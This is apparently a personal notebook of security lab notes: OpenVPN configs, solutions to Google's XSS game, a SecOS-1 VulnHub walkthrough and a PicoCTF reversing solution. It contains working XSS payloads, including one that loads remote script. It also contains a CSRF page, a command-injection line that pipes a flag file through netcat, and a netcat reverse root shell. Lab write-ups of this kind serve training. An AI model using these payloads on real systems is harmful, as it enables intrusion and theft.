key server.key
dh dh2048.pem
server 192.168.123.0 255.255.255.0
ifconfig-pool-persist ipp.txt
keepalive 10 120
persist-key
persist-tun
status openvpn-status.log
verb 3
mute 20
user nobody
group nogroup
# openvpn openvpn_server.conf

OpenVPN client configuration

# cat openvpn_client.conf
client
port 1194
proto udp
dev tun
ca cacert.pem
cert client.pem
key client.key
remote 1.2.3.4 1194
keepalive 10 120
persist-key
persist-tun
status openvpn-status.log
verb 3
mute 20
user nobody
group nogroup
# openvpn openvpn_client.conf

OpenVPN Android client configuration - Import profile

# cat openvpn_client.ovpn
client
port 1194
proto udp
dev tun
<ca>
// grep -A 100 'BEGIN CERTIFICATE' cacert.pem | grep -B 100 'END CERTIFICATE'
</ca>
<cert>
// grep -A 100 'BEGIN CERTIFICATE' client.pem | grep -B 100 'END CERTIFICATE'
</cert>
<key>
// grep -A 100 'BEGIN RSA PRIVATE KEY' client.key | grep -B 100 'END RSA PRIVATE KEY'
</key>
remote 1.2.3.4 1194
keepalive 10 120
persist-key
persist-tun
status openvpn-status.log
verb 3
mute 20
user nobody
group nogroup
# Import openvpn_client.ovpn

# XSS game area


Level 1: Hello, world of XSS

https://xss-game.appspot.com/level1/frame
query=<script>alert('xss')</script>

Level 2: Persistence is key

https://xss-game.appspot.com/level2/frame
post-content=<img src='foo' onerror='alert("xss")'>
post-content=<img src='foo' onerror='alert(document.cookie)'>
post-content=<img src='foo' onerror='s=document.createElement("script");s.src="//192.168.1.200/xss.js";document.body.appendChild(s)'>

Level 3: That sinking feeling...

https://xss-game.appspot.com/level3/frame#1
URL=https://xss-game.appspot.com/level3/frame#1' onerror='alert("xss")'>

Level 4: Context matters

https://xss-game.appspot.com/level4/frame
timer=');alert('xss

Level 5: Breaking protocol

https://xss-game.appspot.com/level5/frame
URL=https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('xss')

Level 6: Follow the X

https://xss-game.appspot.com/level6/frame#/static/gadget.js
URL=https://xss-game.appspot.com/level6/frame#data:text/plain,alert('xss')
URL=https://xss-game.appspot.com/level6/frame#Https://192.168.1.1/xss.js
URL=https://xss-game.appspot.com/level6/frame#//192.168.1.1/xss.js

Tools

# ratproxy -w proxy.log -v traces_dir -p 8080 -d xss-game.appspot.com -lextifscgjm
# ratproxy -w proxy.log -v traces_dir -p 8080 -d xss-game.appspot.com -XC

# skipfish -b i -I xss-game.appspot.com -X /css/,/img/ -Z -o report_dir -M -E -U https://xss-game.appspot.com

References

http://tools.ietf.org/html/draft-hoehrmann-javascript-scheme-00
https://www.google.com/about/appsecurity/learning/xss/index.html
https://code.google.com/p/ratproxy/wiki/RatproxyDoc
https://code.google.com/p/skipfish/wiki/SkipfishDoc

# SecOS 1


ht# wget http://download.vulnhub.com/secos/SecOS-1.tar.gz
ht# md5sum SecOS-1.tar.gz 
e8c01ab49b98926a37f79e2ea414cfc5  SecOS-1.tar.gz
ht# tar xvzf SecOS-1.tar.gz
ht# virtualbox
<Run SecOS-1>

Grub solution

GNU GRUB
*Ubuntu
e
linux /vmlinuz-3.13.0-24-generic root=/dev/mapper/SecOS--1--vg-rot ro init=/bin/bash
F10
root@(none):/# cat /root/flag.txt | grep -m 1 flag
The flag for this first (VM) is: MickeyMustNotDie.
root@(none):/# mount -o remout,rw /
root@(none):/# passwd root
<Reboot>

CSRF solution

ht# nmap 192.168.1.1
PORT     STATE SERVICE
22/tcp   open  ssh
8081/tcp open  blackice-icecap
ht# curl --silent http://192.168.1.1:8081
---
            <!--<li><a href="/hint">Wanna help?</a></li>!-->
            <li><a href="/sign-up">Sign up</a></li>
            <li><a href="/login">Login</a></li>
---
ht# curl --silent http://192.168.1.1:8081/hint
---
        <!--
        First: the admin visits the website (really) frequently
        Second: He runs it locally, on 127.0.0.1. 
        Third: CSRF and /(http:\/\/[-\/\.\w:0-9\?&]+)/gi, I think that's enough
        !-->
---
ht# curl --silent --request POST --data 'username=user&password=pass' http://192.168.1.1:8081/sign-up
ht# curl --silent --request POST --cookie-jar uc --cookie uc --data 'username=user&password=pass' http://192.168.1.1:8081/login
ht# curl --silent --cookie-jar uc --cookie uc http://192.168.1.1:8081/users
ht# curl --silent --request POST --cookie-jar uc --cookie uc --data 'to=spiderman&message=http://192.168.1.2:8000/csrf.html' http://192.168.1.1:8081/send-message
ht# cat csrf.html 
<html>
<body>
<form action='http://127.0.0.1:8081/change-password' method='post' name='form'>
<input name='password' value='pass'>
</form>
<script type='text/javascript'>document.form.submit();</script>
</body>
</html>
ht# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.1.1 - - "GET /csrf.html HTTP/1.1" 200 -
ht# curl --silent --request POST --cookie-jar sc --cookie sc --data 'username=spiderman&password=pass' http://192.168.1.1:8081/login
ht# curl --silent --cookie-jar sc --cookie sc http://192.168.1.1:8081/messages | grep Well
                    <td>Well, your password is.. "CrazyPassword!". So, what do you say? </td>
ht# ssh spiderman@192.168.1.1
spiderman@192.168.1.1's password:CrazyPassword!
spiderman@SecOS-1:~$ crontab -e
* * * * * /opt/phantomjs/bin/phantomjs /home/spiderman/vnwa/scripts/admin.js
spiderman@SecOS-1:~$ ps axuf | grep sudo
sudo -u spiderman sh -c /usr/local/bin/node /home/spiderman/vnwa/server.js
sudo -u root sh -c /usr/local/bin/node /home/spiderman/vnwa/internalServer.js
spiderman@SecOS-1:~$ cat /home/spiderman/vnwa/internalServer.js
var fs = require('fs');
var express = require('express');
var http = require('http');
var sys = require('sys')
var exec = require('child_process').exec;
var crypto = require('crypto');

var utils = require('./lib/utils.js');
var model = require('./lib/model.js');

var app = express();
var server = http.createServer(app); 

var logger = function (req, res, next) {
    console.log(req.connection.remoteAddress + " tried to access : " + req.url);
    next(); // Passing the request to the next handler in the stack.
}

// Configuration
app.configure(function () {
    // Session management
    app.use(express.cookieParser());
    app.use(express.session({secret: 'privateKeyForSession'}));
    app.use("/js", express.static(__dirname + '/public/js')); // javascript folder
    app.use("/css", express.static(__dirname + '/public/css')); // javascript folder

    app.set('views', __dirname + '/views'); // views folder
    app.set('view engine', 'ejs'); // view engine for this projet : ejs 

    app.use(express.bodyParser()); // for POST Requests
    app.use(logger); // Here you add your logger to the stack.
    app.use(app.router); // The Express routes handler.
});


app.get('/', function (req, res) {
    res.render('ping.ejs', {
        isConnected: req.session.isConnected,
        isAdmin: req.session.isAdmin
    });
});

// Update password
app.post('/', function (req, res) {
    ip = req.body.ip
    if (ip == "") {
        utils.redirect(req, res, '/ping-status');
    } else {
        // getting the command with req.params.command
        var child;
        // console.log(req.params.command);
        child = exec('ping ' + ip, function (error, stdout, stderr) {
            res.render('ping.ejs', {
                isConnected: req.session.isConnected,
                message: stdout,
                isAdmin: req.session.isAdmin
            });
        });
    }
});

server.listen(9000, '127.0.0.1', function() {
  console.log("Listening on port 9000");
});
spiderman@SecOS-1:~$ curl --silent --request POST --data 'ip=-c 1 127.0.0.1; nc 192.168.1.2 1234 < /root/flag.txt' http://127.0.0.1:9000
ht# ncat -l 192.168.1.2 1234 | grep -m 1 flag
The flag for this first (VM) is: MickeyMustNotDie.
spiderman@SecOS-1:~$ function encode { echo -n "$1" | xxd -p | tr -d '\n' | sed 's/\(..\)/%\1/g'; }
spiderman@SecOS-1:~$ encoded=`encode '-c 1 127.0.0.1; if [ ! -p /tmp/f ]; then mkfifo /tmp/f; fi ; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.2 1234 > /tmp/f'`
spiderman@SecOS-1:~$ curl --silent --request POST --data "ip=$encoded" http://127.0.0.1:9000
ht# ncat -l 192.168.1.2 1234
# hostname
SecOS-1
# whoami
root

# PicoCTF 2k13 - moreevil


# gdb -q -n -x moreevil.py
Please enter your password: 1  
 [0x401f2f] cmp ebx, eax                                                        [0x1] < [0x13]
Wrong!

# gdb -q -n -x moreevil.py
Please enter your password: 1234567890123456789 
[0x4020df] xor ebx, r10d                                                        ['1'] ^ ['q'] = '@'
 [0x4020df] xor ebx, r10d                                                       ['2'] ^ ['q'] = 'C'
  [0x4020df] xor ebx, r10d                                                      ['3'] ^ ['q'] = 'B'
   [0x4020df] xor ebx, r10d                                                     ['4'] ^ ['q'] = 'E'
    [0x4020df] xor ebx, r10d                                                    ['5'] ^ ['q'] = 'D'
     [0x4020df] xor ebx, r10d                                                   ['6'] ^ ['q'] = 'G'
      [0x4020df] xor ebx, r10d                                                  ['7'] ^ ['q'] = 'F'
       [0x4020df] xor ebx, r10d                                                 ['8'] ^ ['q'] = 'I'
        [0x4020df] xor ebx, r10d                                                ['9'] ^ ['q'] = 'H'
         [0x4020df] xor ebx, r10d                                               ['0'] ^ ['q'] = 'A'
          [0x4020df] xor ebx, r10d                                              ['1'] ^ ['q'] = '@'
           [0x4020df] xor ebx, r10d                                             ['2'] ^ ['q'] = 'C'
            [0x4020df] xor ebx, r10d                                            ['3'] ^ ['q'] = 'B'
             [0x4020df] xor ebx, r10d                                           ['4'] ^ ['q'] = 'E'
              [0x4020df] xor ebx, r10d                                          ['5'] ^ ['q'] = 'D'
               [0x4020df] xor ebx, r10d                                         ['6'] ^ ['q'] = 'G'
                [0x4020df] xor ebx, r10d                                        ['7'] ^ ['q'] = 'F'
                 [0x4020df] xor ebx, r10d                                       ['8'] ^ ['q'] = 'I'
                  [0x4020df] xor ebx, r10d                                      ['9'] ^ ['q'] = 'H'
                   [0x401fd6] cmp r11d, ebx                                     [0x13] == [0x13]
[0x4021e8] mov rbx, rax                                                         rbx = [0x6030c8]
[0x4021eb] mov rbx, QWORD PTR [rbx]                                             rbx = [0x19]
[0x4021ee] cmp r11d, ebx                                                        ['@'] > [0x19]
Wrong!
# gdb moreevil
(gdb) set environment LD_PRELOAD=lib/hook64.so
(gdb) break *0x4021ee
(gdb) run
Please enter your password: 1234567890123456789
(gdb) x/152xb 0x6030c8
0x6030c8: 0x19 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030d0: 0x1e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030d8: 0x06 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030e0: 0x51 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030e8: 0x1d 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030f0: 0x1e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030f8: 0x06 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603100: 0x51 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603108: 0x12 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603110: 0x10 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603118: 0x1f 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603120: 0x51 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603128: 0x08 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603130: 0x1e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603138: 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603140: 0x51 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603148: 0x16 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603150: 0x1e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603158: 0x4e 0x00 0x00 0x00 0x00 0x00 0x00 0x00

# ipython
In [1]: key = [0x19, 0x1e, 0x06, 0x51, 0x1d, 0x1e, 0x06, 0x51, 0x12, 0x10, 0x1f, 0x51, 0x08, 0x1e, 0x04, 0x51, 0x16, 0x1e, 0x4e]
In [2]: password = ''
In [3]: for byte in key:
            password += chr(byte ^ ord('q'))

In [4]: password
Out[4]: 'how low can you go?'